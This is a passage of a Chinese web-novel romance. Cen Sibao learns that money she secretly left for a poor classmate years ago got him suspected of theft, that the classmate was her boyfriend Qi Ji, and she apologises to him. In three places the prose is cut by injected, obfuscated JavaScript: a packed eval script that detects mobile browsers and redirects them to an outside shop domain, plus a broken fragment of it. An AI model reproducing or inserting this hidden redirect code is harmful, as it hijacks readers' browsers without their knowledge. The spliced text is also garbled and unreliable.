岑衡没放在心上,“好了,时间不早了,快回宿舍吧。明天周五,我送你上班,晚上再去接你回家。” “好啊,那你也赶紧回去休息,把时差倒过来。”岑似宝望着他眼下的阴影,推了推他。 等开开心心地与岑衡道完别,回到宿舍,岑似宝又经历了张曼的一番盘问。 将礼物分给了她一部分,才堵住了她的嘴。 完美的一晚。 不过从周五到周末,岑似宝都没有再与祁迹见到面。 她短暂的柜姐生涯终止,借着联名,裕丰即将推出一个全新的子品牌,由她全权负责。 因为要正式进入公司了,趁着现在时间充裕,这几天岑衡和岑量带她出去玩了。 直到周末结束的晚上,祁迹悠悠发来了一条消息:“把我追到手了,就不珍惜了?” 岑似宝这才想起来,自己这几天还挂了祁迹两个电话。 因为哥哥就在对面,晚上回家又累得倒头就睡,她完全忘了回电的事。 而祁迹也很“识大体”,并未催促。 岑似宝越想越愧疚,与此同时,对他的思念也涌上心头。 不去想的时候还没发觉,现在夜深人静,思念便突然爆发开来。 她立刻将电话拨了过去,没等那头说话,她就开口了:“我好想你。” 耳边静默了几秒,随即是一声笑,“那看来,我没有白来。” “什么意思?”岑似宝先是愣住,接着意识到什么,立即冲到窗口,掀开窗帘朝外看去。 在距离花园不远的地方,她果然看见了那辆车。 车边站着道高大的身影,正朝这边望着。 看不清表情,但她完全可以想象得出来。 她惊喜地想要转身下去找他,却被祁迹阻止了:“不用出来了,外面很冷。” 岑似宝急急地说:“那你还在外面站着,也坐进车里去啊。” 她伸长了脖子张望,确定道:“放心吧,就算你坐在车里,我也可以看清你的。” 随即祁迹才上了车。 岑似宝本来已经有些困了,这会儿又打起了精神,跟祁迹讲起了这两天的行程,也讲起了没跟家人说过的,对于工作的不安。 祁迹静静听着,不时给出一些建议。 时间又开始不打招呼地加快流逝了。 岑似宝说得嗓子都有些哑,最后放轻声音:“祁迹,我是真的想你了,这回不是哄你的。” 祁迹笑了笑,“所以,以前都是哄我的?” “你不许咬文嚼字!” 祁迹目光垂下,定了定神,“我也想你。” 岑似宝满足地翻了个身,“没关系,我们明天就能见面了。” 可是第二天也没能见到,因为岑衡要直接送她去总部上班。 而她的午餐,自然也不用再去更远的犀鸟解决了。 同时,岑似宝也开始频繁加班,为了方便,也是因为寒假来临,她又搬回了家里住。 就这样,她与祁迹见面的机会更少了。 可在不为人知的晚上,祁迹还是经常在结束加班后绕路,将车开到岑家门后,再隔着两扇窗与她通话。 聊一些很琐碎的,却让彼此都心情愉快的事。 比如余助理与他的情敌二三事。 这一回,岑似宝的喜欢好像不止是三分钟热度了。 除了家人,她还从来没有这般喜欢过一个人,喜欢到快要溢出来。 校庆的这天,岑似宝换好了衣服,准备出门。 岑衡和岑量虽然也都曾是一中的学生,但今天各自都有更重要的事要忙。 而且他们也不像岑似宝那般在学校里“叱咤风云”,对学校的感情没那么深,所以都只是送去了花篮。 岑似宝明面上表示会让家里的司机送她,实际走到无人看见的地方,就偷偷摸摸上了一辆车。 祁迹看着宛如地下接头的她,支着下巴问:“我什么时候可以见天日?” 岑似宝想了想,“再等等吧,你们前阵子一起聚会的时候,我哥的态度不是还很坚决吗?等我年纪再大一点吧。” 祁迹轻叹一声,“恐怕就算到了你八十岁,你哥也不想你结婚。” 岑似宝笑出了声:“太夸张了,我才不信。” “不说那个了,你快看我的胸针,好看吗?” 知道她在转移话题,但祁迹还是认真打量了一下,才说:“好看,与这条裙子很配,与你也很配。” “是吧?这是我最喜欢的一件胸针。” 一路闲聊,很快,车子开到了一中门口。 “你要不要也进去逛逛?看一看我以前的校园,说不准还能看到我参加竞赛拿的奖杯呢。” 岑似宝自得道:“我以前成绩可好可聪明了。” 祁迹扬眉,“现在也很聪明。” “没错。” 祁迹笑完看了眼表,并没有跟她一起进去,只是说:“我一会儿还有线上会议,等结束了再来接你。” “那好吧,待会儿见。” 岑似宝下车朝他挥了挥手,拒绝了志愿者学生的引导,独自走进了学校。 正值周末,校园里却人来人往,目之所及皆是横幅与彩旗。 大屏幕上滚动着杰出校友的名单,她不出所料见到了自己的名字,接着是岑衡,岑量的名字。 她满意地点了点头,刚想离开,却突然发现下一行出现了另一个自己熟记于心的名字——祁迹。 加上后面的犀鸟科技几个字,不可能认错。 她一怔,难道祁迹也曾是这所中学的学生? 她怎么从来没听说过? 岑似宝仔细回想了一番,确定自己的印象里没有这个名字。 算算年纪,就算两人曾经同校,那也应该是在她上初中的时候,而他那时可能是高中部的高年级学生,没有交集倒也很正常。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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时至今日,她已经不太记得自己为什么会把表带到学校了,不过有段时间,她很迷一些内里构造精巧的物件,或许只是为了拆卸吧。 学习对她来说不是难事,在学校,她有大把的时间。 后来被彭小安帮了忙,她知道彭小安在拿学校的贫困补助,觉得这块表可以减轻她的负担,所以想也没想就送了出去。 彭小安的神情有些复杂,“你大概不知道,那个瞬间,我真的有点讨厌你。” 岑似宝对这个陌生的词汇有些茫然,“讨厌我?为什么?” “因为,我当时特别想要收下。我已经懂事了,你的那块表,说不定可以抵我爸妈几个月的收入。” “诱惑太大了,但是我又很痛苦,收下之后呢?” “我爸妈是那种很严厉、很有骨气的人,绝不贪小便宜。这么大一笔钱,他们会骂我,会让我还回去,甚至届时可能还会在你家里人面前卑躬屈膝说着抱歉。我承受不住。” “同时我还在想,你事后又会不会反悔?你的家人又会怎么想我呢?太尴尬了。” “不仅是收下之后的麻烦,更重要的是,你就这样,把这么巨大的诱惑摆在了我的面前。” “那个瞬间,我的摇摆不定,好像把我的贪婪显露无疑。真是窘迫啊,在本该平等的同学面前。” 这些话,当时的彭小安并没有说出口,只是在沉默了一阵后,用简短的话语拒绝了她。 此刻,岑似宝的脸庞发起了烫,垂下了手,“对不起。” 彭小安摇了摇头,“不用跟我道歉啦,咱们当时还都是孩子呢,那也只是一件小事罢了。当时的你不懂人情世故,但追根究底,问题在于我,因为贫穷而太过敏感了。” 她眨了下眼:“你一定无法想象的,就连找我爸妈要学费的时候,我的心里都会生出一种对不起他们的羞耻感。” 岑似宝确实从未经历过那种程度的敏感,但她清楚地知道,自己曾经伤害了一个小女孩。 是她自以为是了。 岑似宝越想越难过。 彭小安看她不知所措的模样,释然地笑了笑:“可别哭啊,都已经过去了,那一瞬间的讨厌,或许也掺杂着一些羡慕吧。” “现在的我通过努力,找到了好工作,自己也买得起金表了,那些敏感也就烟消云散了。” “甚至想到小时候的自己还会觉得傻,要是搁现在,我就直接把你给的金表塞进兜里了,管你会不会要回去呢,多多益善。”彭小安开着玩笑。 岑似宝却抿了抿唇角,高兴不起来。 彭小安突然想起了什么,“我的事倒不算什么,但那时候你像这样抱着善良的本意,大张大合地、冲动地闯进别人的生活里,确实曾经给一个人带来了麻烦。” “不知道你后来有没有找那个学长说清楚?他才是真的惨。”她有些唏嘘。 岑似宝听得懵了神,旋即觉得天塌了,“你是说,我还对别人干过更严重的蠢事?” “我觉得也不能说蠢吧。”彭小安有些吃惊,“不过你是忘了吗?” 岑似宝双眼泛红,点了点头,“我实在没有印象,你说的人叫什么名字啊?我去找他,跟他道歉。” 彭小安思索了一下,“我只记得,那个人好像姓祁。” 17.第 17 章 校庆圆满进行,岑似宝却全程心不在焉。 她的记忆不断回溯,直到在角落里,来到了校运会前夕,也是彭小安说的:“有天,我看到你急匆匆回到班里,从钱包里拿了两百块钱就跑。” 岑似宝模糊地记起了这件事。 那天课间,她跑到高中部找岑衡,他正在操场跟人打球,于是她在旁边坐着等。 她隐约听到旁边有人说起班上为了运动会开幕式买班服的事,所有学生都举手通过了,只有一个转校生拒绝了。 他说他不买班服,即使不参加开幕式也没关系。 岑似宝的心理活动和与之聊天的另一个学生一样:“当众说的?为什么啊,那多不合群啊?本来就是插班生了。” “因为没钱呗。”男生轻飘飘说了句。 “不是吧,你们选的班服多少钱啊,这都交不起?” “不贵,也就一百多块,别说班服了,哪怕是平时的资料费,大家都交,就他不交,人家直接借了书,靠手抄。” “那么厚的一沓习题啊,我也是服了,不知道哪来的耐心,估计这会儿就在教室里手抄呢。” 男生话音一转,“不过虽然不合群,但他人还挺不错的,上回我航模电机坏了,他想借,我觉得没用了就说送他了,但他后来居然修好了,又还给我了。” “这回运动会,有几个最累的、没人报的项目,最后也是他给揽下了。” 另一人说:“他家很穷吗?” “之前我有次路过老师办公室的时候听到了一点,老师都没见过他家长。他走读的,好像是借住在亲戚家,应该是不太熟的亲戚,家长会也从来没有人给他开,都是他自己……” 男生说着说着就停了下来,突然发现旁边有一道纤细的身影在看着他们。 他望过去,那是个漂亮的女生,还未长开的脸带着点婴儿肥,可是此刻,她的表情就像是被雨淋湿了的小狗。 他有些慌乱地与同伴对视了一眼,不明白她为什么这么看着这边,一时又觉得她有点眼熟。 直到前方场上另一个男生朝着她走去,一双明亮的眼睛在看清她的脸时,骤然犀利了起来:“怎么哭了?” 他们都认出来了,那是一班的岑衡,年级第一。 从他的话中,他们也记起来了,这个女生应该就是他妹妹,初中部的岑似宝,因为包揽了期初考试的各科第一而出了名。 见他充满敌意的目光朝他们扫射过来,意识到他可能以为是他们将他的宝贝妹妹惹哭了,两人同时不安起来。 虽然看起来好像确实是他们将她惹哭了。 真冤。 好在岑似宝及时拉住了他,揉了揉眼睛,“哥哥,我没事,就是突然想起昨天看的电视剧了。” 随后岑衡将她带回了自己班。 教学楼一层有三个班,岑衡的一班在走廊的尽头,路过另一端的三班的时候,她在后门处随意朝里面望了眼。 刚才那两个男生,说的好像就是三班。 她一眼就看到,空荡的教室里,最角落坐着的男生。 肩线宽阔,却也薄,肩胛骨在校服之下收拢着,阳光从窗口落下,落下细腻的阴影。 一阵风吹来,将校服紧贴在笔挺着的脊背上,中央一条直直的骨线就这么浅浅地顶出来。 岑似宝不自觉停下了脚步。 男生的袖子有些短了,露出一截清瘦的腕骨,正随着书写的动作微微动着。 应该就是他了。 既然愿意参加运动会,那他应该并不是真的不合群吧。 如果不参加开幕式,当别人热热闹闹地彩排,为了集体的记忆与荣誉而欢呼雀跃的时候,他独自在一旁,就又一次成为了一个不合群的异类。 会有落差感吧? 前方,岑衡不解地回头:“怎么了?” 岑似宝突然抬头,“哥我突然想起来还有件事,我先回去了!” 说完在岑衡困惑的目光中转头就跑,一路跑回了初中部。 她打开钱包,抽取了两张纸币,没有停歇就又气喘吁吁地扭头跑了回去。 到三班的教室门口时,她跑得肺都快要炸了。 此时,教室里没人,那个男生不知道去哪里了。 岑似宝来到了他的座位边上,看到了一叠手写题目的纸张,字迹没有凌乱,整整齐齐,力透纸背。 她将钱夹在了纸张之间,合上,随后便悄悄离去了。 她想,当他看见这突然出现的钱,一定会很高兴。 她好像看多了侠义云天的电视剧,就以为自己也能帮到所有人了。 现在想来,她真是个自大的笨蛋。 在那之后,岑似宝就将这件事抛在了脑后,直至今天,又被彭小安唤起。 她并没有看清那个男生的长相,也不知道他的名字。 可是姓祁……岑似宝难以自抑地想到了祁迹。 从大礼堂出来,与曾经教过她的高中数学老师碰面,聊起了老师曾经的学生。 很巧的是,这个老师同时教过她和岑衡与岑量。 “你们岑家的三个小孩,数学都很好,性格也好,都很让老师省心。”数学老师笑眯眯说。 在他接着罗列出来的人中,岑似宝听到了祁迹的名字。 “我对他印象也很深,他是中途转学来的,聪明,追分快,要不是偏科,总成绩能跟你哥争一争第一。” 岑似宝小心翼翼地问:“老师,他是几班的啊?” 数学老师回忆了一下,说:“三班的。” 岑似宝的心坠了一半,“那他们班上,还有别的姓祁的人吗?” 老师对这个问题有些奇怪,不过还是想了想,笃定道:“没有了,你哥那一届,就他一个姓祁的。” 岑似宝缓缓垂下了头。 “怎么了?不舒服吗?”老师问。 岑似宝摇摇头,“没事。” 手机里,祁迹发来了消息,问她校庆有没有结束。 她没有立刻回复。 原来她曾经那样间接伤害过祁迹。 那一天,在她将钱留下后不久,大课间结束,所有学生回到了班级。 趁着上课前的一点时间,班长招呼大家把班服的钱交上来。 这与祁迹无关,他淡然地继续抄写剩下的一点题目。 身旁,同桌翻着课桌,直到班长来到桌边,他才抬眼,急促道:“我带来的二百块钱不见了。” “你别急,慢慢找。”班长安抚。 “我确定下去做操之前就放在桌肚里的。” 班长声音抬高,对着其他人喊道:“大家快都看看地上,有没有多出钱来?” 周围人都很配合地看了看。 “不知道啊。” “没看见。” “我这儿也没有。” “不会是被谁拿了吧?” 与此同时,祁迹也正好翻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122133|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 开了书页。 两张不属于他的,鲜红的纸币浮现在眼前。 同桌两道焦急的视线猝然在他的桌上定格。 他说不清了。 彭小安与同为贫困生的高年级学姐有联系,在后来某天听说了这场风波。 她不知怎的就想到了那个上午,看见岑似宝匆匆跑回来拿走的那两百块钱。 她那样的性格…… 彭小安与学姐说了自己的猜测,学姐也有些错愕。 但她只能耸耸肩,“我也不知道他们班上最后到底有没有查清这件事,说不定,你那个同学已经过去讲清楚了?” “不过不管怎么样,现在说也没意义啦,那个人已经不在学校了,好像是又转学了?具体的我也不太清楚。” 相似的经济条件,让彭小安很能感同身受,但既然人已经离开学校,她便没再深究。 如今再跟岑似宝碰面,她才想起了这件令她有些唏嘘的往事。 在她眼中,岑似宝是个内心柔软的人。 难能可贵的是,她并不将自己的那份柔软宣扬,一切都掩藏在娇气任性的明面之下。 只是还是那句话,她自顾自地闯进别人的生活里,有时不一定是好事。 在说出口的时候,她并不知道祁迹与岑似宝的关系。 她看岑似宝的表情不太对,安慰道:“现在人家已经功成名就,往事的分量也就随之变轻了,就像我,已经可以笑着面对曾经啦。” 岑似宝勉强地抬了抬嘴角,没说什么。 只是在散场之后,她拒绝了曾经同学们的邀请,独自待了一会儿。 她给祁迹发了条消息:“初中玩得好的同学找我吃饭叙旧,盛情难却,我们要一起走,你先回去吧,不用接我了。” 她发去了常用的撒娇的表情包,祁迹没有察觉到不对劲,只是叫她吃完饭告诉他。 岑衡忙完回家,才发现司机并没有送岑似宝去学校。 他蹙眉,给岑似宝打去了电话。 电话很快被接起。 岑似宝没有说上两句,岑衡就听出了她极力隐忍的颤音。 岑衡没有说什么,只是平静地问了她的地址,结束通话后便拿起车钥匙,坐上了车。 车开到校门口,下车后他环视了一圈,见到了坐在花坛边的岑似宝。 她垂着头,一动不动。 漂亮的裙子染上了花坛边的灰土,早上分别前戴着的胸针也不见了。 今天天气晴朗,她周遭却好像刚刚侵袭了一场倾盆暴雨。 岑衡顿了顿,走上前,掌心在她肩上按了一下,接着伸出温暖的手背,丈量着她脸颊的温度。 触及冰凉一片,湿漉漉的。 她的眼底下着小雨,雨点滴滴落到他的手背上。 那一瞬间,岑衡想起小的时候。 他去上学,还没到学龄的妹妹哭得撕心裂肺,不让哥哥走。 被哥哥故意吃掉了香蕉,她也会大声哭。 真哭、假哭,伤心的哭、装可怜的哭,岑衡的成长围绕着妹妹,妹妹也总是绕着他,谁也离不开谁。 直到现在,岑衡才突然意识到,他的妹妹也会为了别人而哭了。 这实在不是什么好受的感觉。 岑似宝没有去看,也知道来的人是哥哥。 她抬起脸,埋进了哥哥的肩膀,声音也一并埋了进去。 “哥哥,我是不是,其实挺差劲的?” 18.第 18 章 对于岑似宝来说,虽然在长大的途中交了很多知心朋友,也有着许许多多的挚爱亲人,但是此刻,好像只有陪伴长大的哥哥可以让她放心地宣泄情绪了。 岑衡感受到肩头滚烫的湿意,心口也若有似无地揪紧。 他倾身帮她挡住了另一个方向吹来的风,才询问:“发生什么事了?告诉我。” 岑似宝的声音因为哽咽而变得不那么清晰,断断续续说:“哥哥,我一直觉得,所有人都会喜欢我。” “可是原来,也有人曾经讨厌我。” “我一直以为我帮别人,是好事,可原来是我自作多情。我的帮忙,反倒害了无辜的人被误解……” 即使那个因为她而被误解的人不是祁迹,是其他人,她也会难过,会愧疚,会后悔。 只是当那个人是他时,这种情绪就翻着倍地涌上来,夹杂着心疼,将她深深吞没。 初见时,少年给她留下孤零零的背影。直至成年,那个挺直的背影才转过了身,面向了她,让她看清。 而成年的祁迹,好像从来没有让她见过自己的背影,两人分别时,永远是他看着她离开。 她从未像此刻一般,清晰地看出祁迹对她的喜爱。 可他越是好,她就越是对那件事感到愧疚。 少年时的他,应该是个自尊心很强的人吧。 而在愧疚的情绪之后,紧接着席卷来的浪潮便是慌乱。 她在想,祁迹知道这件事吗? 如果他现在知道了,是不是会对她失望呢? 岑衡听清了她的呜咽,温热的手掌拂在她头上,“谁说你差劲了?” 岑似宝只是不住地摇头。 岑衡轻叹一声,一贯冷硬的语气温柔了下来,突然提起:“还记得你第一天去上幼儿园吗?” 岑似宝的思绪随之稍稍停滞,下意识开始回想。 但是,好像并没有多么特别,她想不起来了。 岑衡说:“那天,家里人都做好了你要哭闹的准备,结果你很乖地就进去了,像个小大人。” “我跟岑量已经上小学了,有身为哥哥的觉悟,总是提心吊胆,担心你会不适应,于是故意逃了课,偷偷跑到了你幼儿园去看你。” “当时你们班在上户外活动课,你被很多小朋友围在中间,我们以为你被欺负,想进去,谁知紧接着就听到,你大声地叫旁边的女孩去推另一个小朋友。” 听得岑似宝更难过了,泪水又翻涌而出:“什么啊,我小的时候这么坏吗?” 岑衡擦着她的眼泪,“怎么这么想自己?” “后来我们听明白了,是另一个小朋友先推了那个女孩一下,被你发现了,所以你才叫她推回去。” “不过那个女孩胆子好像很小,看了眼老师,说她不敢。” 岑衡的嘴角微微上扬,“然后你就跟她说,你会看着老师的,让她放心大胆地推。” “但是当时老师刚好朝你们走过去了,我们就看到你一下子冲了出去,死死抱着老师的腿,不让她动,嘴里喊着‘我帮你抓住老师了,你快点推!’” 岑衡音调放轻,故意模仿着那时小小的岑似宝的语气。 岑似宝笑了一下。 “估计是看你那么努力,不忍心辜负,那个小女孩终于还是鼓起勇气,轻轻地推回去了。” “你这才松开老师,又跑到那个哭起来的小朋友面前,跟他说,要是再有下次,你不仅要叫受害者推回去,连你也要推。” “还有班上的每个小朋友都推。” “门口的保安叔叔也推。” “还要叫你那两个上小学的、推人特别疼的哥哥也推。” “把他推到西伯利亚去。” “老师走到跟前,不知道发生了什么,先安抚他别哭,你又恶狠狠加了一句:老师,也得推。” 从小就是恶女的岑似宝羞赧地吸了吸鼻子。 “担心你因此被针对,我们后来有很长一段时间都偷偷过去看你。” “不过,你还真是意外地受欢迎,包括那个推人的小朋友,最后都成了你的跟班。” 岑衡的目光沉静而包容,拂开她额前被泪水打湿的头发,“那时我们刚好去了那里,又刚好看见了那一幕,要不是了解了前因后果,恐怕也得以为你和那个小女孩是在欺负人了。” “如果我们误会了你,那是谁的错?你的错吗?” 岑似宝一愣,接着摇摇头,哑声说:“我不知道。” “那如果一开始知道会被误解,你还会帮别人吗?” 岑似宝默然了一瞬,随即说:“会吧,不过,可能会换一种方式。” “这就够了。” 岑似宝抬头,望向他眼底,“哥哥,谢谢你。” 岑衡按了按她的头,随即换了个语气,“你说的那个,因为你而被误解的人,是个男生?” 岑似宝下意识点了下头。 “你今天遇见他了?” 岑似宝一顿,摇头。 “哦。”岑衡语气平平,“我还以为,那个人是你喜欢的人,所以你哭得这么伤心。” 平静的话语中,好像蕴含着巨大的力量。 岑似宝的目光一滞,没有动作。 岑衡移开视线,笑了笑,“如果有了喜欢的人,别忘了告诉哥哥。” “好。”岑似宝小声说了个字。 岑衡起身,“饿不饿,午餐是不是也没吃好?” 随即他便将岑似宝带上了车。 没过多久,岑似宝的手机响了,来电是分店的店长。 离开之前,店里的人都知道了她的真实身份,又是震惊又是激动。 从现实的角度想,也庆幸自己与她的关系保持得不错。 店长的语气有点高兴:“小岑,那位廖小姐来了,现在就在店里。” 岑似宝反应了一会儿,店长接着说:“就是那个那个,‘阿斯巴甜’的前未婚妻。” 岑似宝这才想起来对方是谁,“她去店里做什么?” “她是来找你的,不过你现在已经不在店里上班了嘛。” 那头窸窸窣窣一阵,“你等会儿,我把手机给她,让她直接跟你讲。” “你好。”另一道轻柔的女声响起。 “我是特意过来感谢你的,可惜你不在。” 岑似宝眉宇松了松,“没关系,不用谢我的,换作别人也不可能答应他的要求,那是违反公司规定的。” “不是这样的。” “如果你是息事宁人的性格,或者是害怕遭到报复,亦或是担心会影响店铺,只是拒绝了他,没有当场挑破,那我恐怕还被瞒在鼓里,而当时我们就要领证了。你实打实帮了我。” “当然,即使你没有那么做,我也完全可以理解,只是,你偏偏做了。在领证之前遇到你,认清了他的人品,是我的幸运,怎么不值得感谢呢?” 岑似宝轻声说:“你们现在彻底分开了吧?” “嗯,关系的分割花了点时间,所以现在才来找你道谢。” 是个值得高兴的消息,岑似宝笑了笑,“那就好。” 对面接着说:“我后来才知道,他居然还瞒着我在外面借了贷,突然全被债主站出来曝光了,工作也丢了,身边人都知道他是什么德行,也免得他再祸害别家姑娘了,都是因为你当时仗义执言啊。” 挂了电话,岑似宝的心情终于好了些。 她看了眼岑衡,“哥,那个男的债主的事,是你弄的吗?” 岑衡摇了摇头,“还没来得及。” 岑似宝心头一动,脑海里闪过一道人影。 办公室里,祁迹看向手机。 岑似宝一直没有消息。 他皱起眉,给她打去了电话。 岑似宝看了眼来电显示,下意识望向旁边开着车的岑衡,手机仿佛烫手一般差点握不住。 与此同时,那种五味杂陈的难受也再度占据了心神,无法面对的慌乱让她下意识按了挂机键。 祁迹定定地听着耳边的机械提示音。 过了一会儿,他收到了岑似宝发来的消息, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17142045|194191||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 只有短短一行字:“有我哥接我回家了,不用过来了。” 两人到家的时候,岑量也刚好回来。 平时岑衡和岑量都住在自己的房子里,如今岑似宝在家里住,两人回来得才勤快了些。 岑量一眼就看见了她通红的双眼,走过去,低着头去看她:“怎么了?去校庆,碰见以前的仇人了?” “什么啊。”岑似宝别过脸去,“别瞎猜了,就是刚才,突然有一点点感怀,现在已经没事了。” 岑量又皱眉看向岑衡,他只是将外套一脱,随手丢给他,“她不想说,就别问。” 岑量没好气地冷笑一声,夹着丝做作的哀怨:“还有什么我不能知道的小秘密?是,终究比不过你俩是亲兄妹,隔着的那层薄薄血缘其实是道天堑,是我妄想了。” 岑似宝被他表情逗笑了,推着他朝前走。 岑衡望着两人交流起来,看了眼手机,先找厨师交待了几句,才走到了外头,接起电话。 “祁迹,有事?” 祁迹顿了顿。 准备好的话在口头萦绕,最后却只是说:“新买了副球拍,磅数拉高了,去试试吗?” 岑衡拒绝:“今天不出去,在家陪我妹。” “她怎么了?”祁迹语气寻常。 岑衡不愿在别人面前多说,只回:“她心情不好。” 吃了点东西,哭完的疲惫感涌上心头,岑似宝跟哥哥说了两句,就回了卧室。 纷乱的思绪在疲惫面前暂时清空,她倒头就睡。 等再度醒来时,窗帘的缝隙中,天色已经彻底黑了下来。 她坐了起来,思维滞后,适应了两秒,打开床头灯,看了眼时间。 已经过晚饭的时间了,不过家人都体贴地没有过来打扰她。 视线在手机上逐渐下移,岑似宝的眼睛一下子瞪大了。 屏幕上显示着数条未接来电,还有消息,都是来自祁迹。 她立刻下床去了窗边,果然看见了那辆车,依旧在那个位置。 车边停驻的颀长身影似乎正在凝望着她的窗户,不知道在风里站了多久了。 他一定以为,她是故意不接他电话的。 岑似宝心中一颤。 旋即她冲到门口,手指在门把手上停了两秒,最后还是摁了下去。 鸵鸟不可能一直当下去,总归要跟他说清楚的。 也是一定要跟他道歉的。 不管他会怎么想,对她是失望,还是愤怒,她都得接受。 路灯下,纤细的身影奔向了祁迹,穿着拖鞋,有些踉跄。 在距离他两米的地方,她迟疑着停住了脚步。 祁迹刚抬起的手一滞,放了下来。 岑似宝先一步出声解释:“祁迹,我回家之后就睡觉了,所以才没听到你电话,不是故意不接的。” “还有。”她低下了头,重重说了句:“对不起。” 祁迹眼底倒映着她纠紧的双手,开口:“我没有生气,不用道歉。” “不,说对不起,不是为了这个。”她声如细丝,还带着哽咽。 祁迹的眼眸缓而又缓地动了一下,“那是为了什么?” 为了……岑似宝心乱如麻,在一阵死寂中,她终于鼓足勇气,提起音量说: “你高中的时候,是不是曾经被误会过拿了同学的钱?那钱,其实是我放在你桌子上的。” “我本来以为可以帮到你,让你融入大家,可是直到今天我才知道,这件事反而给你带来了麻烦。” “对不起,都怪我。”岑似宝的眼中闪着泪花,全程低着头,不敢去看他的表情。 祁迹沉默了几秒,攥着的手指渐渐松开。 接着他后退一步,肩背绷紧的力道一撤,就这么倚着车门站定。 仿佛高高吊起等待审判的犯人被突然间松开了绳子,他笑了一声,“只是这样?” 岑似宝茫然地抬头,看到了他微扬的脸,还有嘴角浅淡的笑。 “我还以为,是你又打算抛弃我了。” 19.第 19 章 岑似宝呆呆地看着祁迹。 他刚才竟然说,只是这样? 他好像满不在乎。 这完全超出了岑似宝预设的反应。 “知道事情因我而起,你不惊讶吗?不怪我吗?你不觉得失望吗?你不生气吗?” 她急急地连声问出了一串问题,眼底光华闪动。 祁迹从车里拿出一条围巾,有条不紊将她一圈圈包住,随即才去想她的问题。 并没有岑似宝想象中的为难纠结,他保持着平静,说:“我早就知道了。” 这句话又将岑似宝瞬间定在原地,她艰难地从温暖的围巾中抬脸,喃喃:“早就知道?” 祁迹弯腰,望向她,肯定道:“嗯,高中的时候就知道是你了。” 说完将岑似宝拉入怀里,“所以,没什么好惊讶的。” 岑似宝趴在他胸前,冲击之下反倒眼含热泪:“祁迹,你不会是为了报复我才跟我在一起的吧?好多男主向复仇小说就这么写的,先偷偷转移我家的财产,再把我抛弃。” 祁迹:“……” 他用力握了握她的肩头,垂眸看她:“担心这个,等我们结婚,你可以列出婚前协议,什么条件我都答应。” 岑似宝赶紧改口:“我胡说的。可是既然知道这件事,那你怎么不早告诉我?” 祁迹有些自嘲地笑了笑,“你恐怕早就忘了那件事,提起来做什么?更何况,要是告诉你,你也会像今天这样哭起来吧?” 岑似宝的头埋地更深了,有些不敢问,但还是无法忽视:“那,你后来突然转学,是因为被冤枉的事吗?” 祁迹摇了摇头,“怎么可能。只是家里人的工作变动。” 岑似宝稍稍松了口气,至少比她想象的众叛亲离,不得不远走他乡要好一点。 她又问:“那你后来证明自己的清白了吗?还有,你那时有没有一瞬间觉得,是有人在故意陷害你啊?” 祁迹歪了歪头,“你是不是以为,上学时候的我,是个会被人欺负的可怜虫?” 岑似宝嘴上嘟囔:“我可没有这么说啊。” 但她确实是这么想的。 祁迹少年时期贫穷孤寂的背影,还有从他同学口中所听说的,与班上其他人格格不入、无法融入集体的形象在她心中挥之不去。 正是因此,她才会如此自责。 又想起追求他的时候,也被他视为追杀。 难道她是克他吗? 祁迹看她陷在回忆中,头低得好像快要遁入地下的模样,眼中闪过笑意,干脆蹲了下来,仰起头,与她视线相对。 他扬起眉:“道听途说,也不听个完整点的版本?” 岑似宝可怜兮兮地看着他。 祁迹回忆了一下,“在看见我书里夹着的钱的时候,他们确实怀疑过我,毕竟有一段时间,班里只有我一个人在。” 岑似宝紧张起来,担心听到他被千夫所指。 祁迹平铺直叙:“我立刻问了他,他的钱是怎么放的。” “他描述了一下,是叠在一起,折了两折,放在桌内边缘,而你夹在我书里的钱,毫无折痕。从这一点来看,就可以判断出那不是他的钱。” “当然,这还是不能完全排除我的嫌疑。” “不过后来我想起,课间的时候窗户没关,曾经有风吹进来。根据风向推测,最后在对角墙边跟课桌的缝隙里找到了他的钱。” 岑似宝一愣,“就这么简单?” 祁迹起身,拍了拍她的头,“你还想有多复杂,拍出一集电视剧?” 一中的学生大都家境不错,没有人会为了区区两百块钱突破底线。 只是岑似宝还是有些后怕,万一那钱被风吹到了更隐蔽的地方,一时找不到呢? 那样说不准,祁迹还是要背着一份污名。 现在祁迹三言两语说得轻松,但当时的情况一定不是那么简单。 毕竟,事情都传到了外班的学生耳朵里了,那时,他的嫌疑还没有洗清,一定也背负了很大的压力。 岑似宝依然愧疚,不过好在最终结果是好的,少年时的祁迹也有着不逊于成年时的冷静,和解决事情的能力。 她心头最大的石头卸了下来。 随即好奇地抬脸问:“那你又是怎么知道是我放的钱?” 祁迹将随着她的动作垂落的围巾重新搭上去,语中带笑:“正如你所说,起初,我以为是有人故意陷害我。” 岑似宝也忍不住笑了。 “不管是好心还是坏心,我都不想收下来路不明的钱,所以去找了老师,由老师出面,调了监控。教室里虽然没有监控,但是走廊里装了。” 祁迹敲了一下她的脑门,“监控清清楚楚地拍到了一个揣着钱,偷偷摸摸走进教室的小朋友。” “谁偷偷摸摸了?”岑似宝捂着脑门回想,当时她肯定是正大光明进去的,因为觉得自己在做好事,非常伟大。 祁迹接着说:“监控室的保安认识你,说你每天上下学都会热情地跟门口的保安打招呼,他们都跟你熟,说出了你的名字和班级。” 说到这里,祁迹停了下来。 